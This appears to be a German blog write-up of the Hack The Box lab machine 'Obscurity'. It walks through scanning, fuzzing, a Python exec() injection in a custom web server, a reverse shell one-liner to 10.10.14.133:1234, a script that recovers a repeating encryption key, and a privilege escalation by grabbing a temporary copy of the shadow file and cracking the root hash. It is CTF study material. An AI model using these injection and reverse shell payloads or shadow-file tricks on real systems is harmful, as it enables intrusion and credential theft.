HTB – Obscurity

Obscurity ist eine als „Medium“ gekennzeichnete Linux Hack The Box. Der Weg ist eigentlich von Anfang an klar aber man muss das ein oder andere Hindernis überwinden und ein bisschen selber coden damit man die Box knackt. Am Anfang geht es darum das Python Script zu finden, welches den Webserver bereitstellt, in diesem enteckt man eine Sicherheitslücke welche man ausnutzen kann um sich eine Shell zu spawnen. Anschließend muss man sich ein Script schreiben um eine Verschlüsselung zu knacken. Der Root Zugriff erfolgt dann relativ einfach, indem man ein Script, welches als Root ausgeführt wird pausiert um an eine temporäre Datei zu kommen.

Scan

Ich fange wie immer mit einem Port Scan an

nmap -sV -sC -oA ports 10.10.10.168

Auszug gekürzt:

Nmap scan report for 10.10.10.168
Host is up (0.029s latency).
Not shown: 996 filtered ports
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
|   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_  256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
80/tcp   closed http
8080/tcp open   http-proxy BadHTTPServer
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Tue, 21 Apr 2020 16:24:24
|     Server: BadHTTPServer
|     Last-Modified: Tue, 21 Apr 2020 16:24:24
|     Content-Length: 4171
|     Content-Type: text/html
|     Connection: Closed

9000/tcp closed cslistener

# Nmap done at Tue Apr 21 18:21:20 2020 -- 1 IP address (1 host up) scanned in 16.94 seconds

Wir sehen SSH ist aktiv und auf Port 8080 läuft ein sogenannter „BadHTTPServer“-

Ich prüfe die Website

Ganz unten auf der Website finden wir einen Hinweis

Wir suchen also nach einen Script mit dem Namen „SuperSecureServer.py“, da über dieses wohl dieser eigene Webserver läuft.

GoBuster

Ich lasse Gobuster gegen den Webserver laufen bekomme jedoch nur Fehlermeldungen zurück.

Also schau ich mir die Anfragen und Antworten über Burp an. Hierzu erstelle ich mir in Burp einen lokalen Reverse Proxy welcher meinen Traffic erst durch Burp und dann an den Webserver weiterleitet

Wenn ich nun Gobuster gegen den Proxy laufen lasse

gobuster dir -u http://127.0.0.1:8000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Kann ich die Anfrage und den Response in GoBuster sehen

Nach einem kurzen Überblick, stelle ich fest, dass Burp im Response keine Header Daten erkennt. Sie sind zwar im Raw Format vorhanden, der Tab „Headers“ fehlt jedoch. Vermutlich ist auch das die Ursache warum GoBuster auf Fehler läuft. In Burp aktiviere ich „Intercept Server Responses“ und schaue ob ich den Response so anpassen kann das Burp die Header Daten korrekt erkennt.

Hierzu lösche ich im Header die Zeilenumbrüche und mache mit mit Return nach jedem Header einen neuen. In der History schau ich mir den Editierten Response an und nun wurden auch die Header Daten korrekt erkannt.

Ok, das Problem konnte ich also finden, nun muss ich Burp nur noch so konfigurieren, dass er alle Responses anpasst bevor er sie an GoBuster weiterleitet. Hierzu vergleiche ich die Hex Daten der originalen (links) und der editierten Anfrage (rechts).

Man kann erkennen, dass er im originalen Response, statt einem 0D 0A (carriage return + line feed) nur einen line feed sendet. Es fehlt also der carriage return.

HTTP Response

In Burp erstelle ich mir dazu in den Proxy Optionen eine neue Regel, damit jedes line feed (\n) durch ein (\r\n) ersetzt wird.

Das Problem hierbei ist jedoch, dass man zwar für den Match, Regex verwenden kann, für den Replace jedoch nicht. Es gibt aber einen Trick um Burp trotzdem die Regel beizubringen, hierzu speichert man sich die Config lokal in einer Json Datei.

Hier kann man nun die Regeln über einen Editor bearbeiten und somit einen carriage return + line feed eintragen

Die Config anschließend neu laden und schon kommen alle Server Responses korrekt an.

GoBuster wirft leider noch einen weiteren Fehler:

Irgendwas passt ihm nicht, hier gibt es wohl am ende zwei line feeds. Aber auch das Problem können wir schnell über eine Match und Replace Regel ersetzten. Wir ersetzten einfach \n\n durch nichts.

Weiter geht es mit GoBuster, nachdem dieser nun die Server Antworten korrekt verarbeiten kann, brauchen wir noch eine Wordlist, welche nach dem „SuperSecureServer.py“ sucht.

Mit folgendem Befehl hänge ich mir an jedes Verzeichnis aus der Wordlist den Script namen und speichere mir dies in einer neuen Liste

while read line; do echo $line/SuperSecureServer.py; done < wordlist.txt > pythonlist.txt 

Somit schaut meine neue Wordlist nun wie folgt aus.

Ich lasse GoBuster laufen und es dauert nicht lange da hat er das Script gefunden.

Ich schau mir das Script im Browser an und ziehe mir eine Kopie.

Python Injection

Recht weit unten im Script finde ich eine interessante Stelle. Es schaut so aus als ob der String „output = Document: {}“ von Python ausgeführt wird. Vorher wird in die Klammern aber noch String.format(path) der Serverpfad aus dem HTTP Request eingesetzt.

Ich erstelle mir kurzerhand ein eigenes kleines Pyhton Script um das Verhalten lokal nachzustellen.

import os
path = "echo';os.system('ping 10.10.14.133 -c 5');'"
info = "output = 'Document: {}'" 
print(info.format(path))
exec(info.format(path))

Über das Symbol '; wird der String Format Befehl von Python abgeschlossen, alles was danach kommt wird von Python direkt als neuer Code interpretiert. Wir haben hier also eine Python Injection.

Nun müssen wir das ganze nur noch in einen HTTP Request unterbringen. Über die Website https://www.urlencoder.org/ wandele ich meinen Befehl in einen Validen URL Get Request um und sende diesen über Burp an den Server

Mi dem Befehl os.system('ping 10.10.14.133 -c 5'); versuche ich zuerst einen Ping auf mein System zu bekommen. Das praktische ist, dass in dem Python Web Server Script bereits die OS klasse importiert ist.

Und tatsächlich, ich bekomme einen Response:

Somit steht einer Reverse Shell nichts mehr im Weg, da wir uns bereits in Python befinden, verwende ich direkt eine Python Shell

echo';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.133",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Der call klappt und wir sind auf dem System als www-data

Decode ASCII Encryption

Ich schaue mich auf dem System um und finde im Home Verzeichnis von Robert ein paar interessante Dateien und Notizen.

In der check.txt bekommen wir einen Hinweis.

Das SuperSecureCrypt.py Script, verschlüsselt mir also den Inhalt einer Datei. Ich schau mir das Script genauer an.

Das Script macht grob gesagt folgendes:

Anhand des Keys wird die Inputdatei verschlüsselt und in der Ausgabedatei gespeichert.

Die Verschlüsselt erfolgt anhand der ASCII Tabelle

  • Es wird zuerst der erste Buchstaben des Keys in die ASCII Dezimalzahl umgewandelt.
  • Zudem wird das erste Zeichen der Inputdatei in die ASCII Dezimalzahl umgewandelt.
  • Nun werden diese beiden Zahlen addiert
  • Zusätzlich wird noch geprüft ob der Wert größer als 255 ist (da der ASCII Zeichensatz nur bis 255 geht).
  • So geht das für jeden Buchstaben aus der Inputdatei und des Keys, ist der Key zu Ende wird der Key einfach nochmal verwendet.

Wir haben also 3 Variablen:

  • Inputfile
  • Key
  • Outputfile

Auf dem Server liegt auch eine out.txt. Der Inhalt der check.txt lässt vermuten, dass jemand die out.txt mithilfe eines keys und der check.txt erstellt hat. Das heißt wir haben das inputfile (check.txt) und das Outputfile (out.txt). Anhand dieser beiden sollte es uns möglich sein den Key herauszufinden.

Ich hab ein bisschen gebraucht aber letztendlich hab ich das Python Script um die Funktion -p (Decrypt Key mode) erweitert, welche genau das für uns erledigt. Mit dem Parameter -e kann man nun die out.txt einlesen und es wir der Key ermittelt.

Das Ergebnis wird in die Datei key.txt ausgegeben:

Hier das finale Script für alle die es interessiert.

import sys
import argparse

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        keyCharInt = ord(keyChr)
        newChr = ord(x)
        newCharSum = newChr + keyCharInt         
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

def keydecrypt(intext, outtext):
    outlen = len(outtext)
    keydecrypted = ""
    outPos = 0
    for x in intext:
        outCharInt = ord(outtext[outPos])
        inCharInt = ord(x)
        oldCharInt = outCharInt - inCharInt     
        oldChar = chr(oldCharInt)
        keydecrypted += oldChar
        outPos += 1
        outPos = outPos % outlen
    return keydecrypted 


parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
                    metavar='InFile',
                    type=str,
                    help='The file to read',
                    required=False)

parser.add_argument('-o',
                    metavar='OutFile',
                    type=str,
                    help='Where to output the encrypted/decrypted file',
                    required=False)

parser.add_argument('-k',
                    metavar='Key',
                    type=str,
                    help='Key to use',
                    required=False)

parser.add_argument('-e',
                    metavar='EncryptFile',
                    type=str,
                    help='Encrypted file to use',
                    required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')
parser.add_argument('-p', action='store_true', help='Decrypt Key mode')

args = parser.parse_args()

banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner += "  ############################\n"
banner += "  #        FILE MODE         #\n"
banner += "  ############################"
print(banner)
if args.o == None or args.i == None:
    print("Missing args")
else:
    if args.d:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(decrypted)
    elif args.p:
        print("Opening input file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()
        print("Opening encyrpted file {0}...".format(args.e))
        with open(args.e, 'r', encoding='UTF-8') as f:
            encdata = f.read()

        print("Decrypting Key...")
        keydecrypted = keydecrypt(data, encdata)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(keydecrypted)
    else:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Encrypting...")
        encrypted = encrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(encrypted)

Der Key wird immer wieder wiederholt, daher ist es recht leicht diesen auszulesen:

Mithilfe des Keys können wir nun die Datei passwordreminder.txt knacken und haben das SSH Kennwort für Robert

Und somit auch Zugriff per SSH

Root

Es gibt noch weiteres interessantes Verzeichnis in dem Home Verzeichnis von Robert, nämlich der Ordner BetterSSH.

Zudem gibt uns sudo -l eine Info das wir dieses Script wohl mit Root rechten ausführen können

Wenn wir das Script ausführen, bekommen wir Zugriff auf eine eigene Shell. Dort können wir erstmal nicht mehr machen als sonst (halben also keine Root rechte), aber in dem Script selbst finde ich ein paar interessante Zeilen.

Damit das Script prüfen kann, ob wir das Kennwort richtig eingegeben haben, kopiert es sich die Kennwörter aus der shadow Datei in eine Random Datei im TMP Verzeichnis. Diese wird zwar gleich wieder gelöscht aber es reicht uns wenn diese kurz dort ist.

Ich rufe das Script auf und mit STRG+Z pausiere ich es direkt nach der Eingabe des Kennwortes

Ich navigiere zum Temp Verzeichnis und finde dort direkt die zwei Einträge welche mich interessieren.

Den Root Hash speichere ich mir in die Datei shadow.txt, dazu hole ich mir noch den passenden Eintrag aus der passwd Datei. Mit dem Befehl

unshadow passwd.txt shadow.txt > passwordRoot.txt

Erstelle ich mir eine Datei die John knacken kann.

Wir haben das Root Kennwort und können uns somit nun das letzte Flag holen.

Schreibe einen Kommentar